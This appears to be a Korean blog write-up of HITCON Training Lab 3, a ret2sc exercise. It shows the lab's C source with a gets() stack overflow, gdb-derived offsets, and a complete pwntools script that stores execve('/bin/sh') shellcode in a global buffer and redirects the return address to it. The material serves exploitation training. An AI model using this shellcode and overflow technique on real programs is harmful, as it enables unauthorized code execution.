ii4gsp
HITCON Training - LAB 3 본문
#include <stdio.h>
char name[50];
int main(){
setvbuf(stdout,0,2,0);
printf("Name:");
read(0,name,50);
char buf[20];
printf("Try your best:");
gets(buf);
return ;
}
문제 소스코드를 보면 gets()함수에서 취약점이 발생한다.
gdb로 파일을 열고 disas main해보면 <main+66>부분을 보면 read함수를 호출하기전에 값을 복사하는 것을 볼 수 있다.
name의 주소는 0x804a060이다.
main()에서 선언해준 buf는 20byte 선언하였지만 dummy 8byte가 생성되었다.
name에 shellcode를 넣고 gets()함수를 통해 buf ~ sfp = 32
32byte를 덮고 ret를 name의 주소로 조작해주면 된다.
from pwn import *
p = process('/home/ii4gsp/HITCON-Training/LAB/lab3/ret2sc')
shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'
name = 0x804a060
p.recvuntil(':')
p.sendline(shellcode)
payload = ''
payload += '\x90' * 32
payload += p32(name)
p.recvuntil(':')
p.sendline(payload)
p.interactive()
소스코드를 작성해주자.
쉘을 획득하였다.
'시스템 해킹 > HITCON Training' 카테고리의 다른 글
HITCON Training - LAB 2 (0) | 2020.02.07 |
---|---|
HITCON Training - LAB 1 (0) | 2020.02.07 |
Comments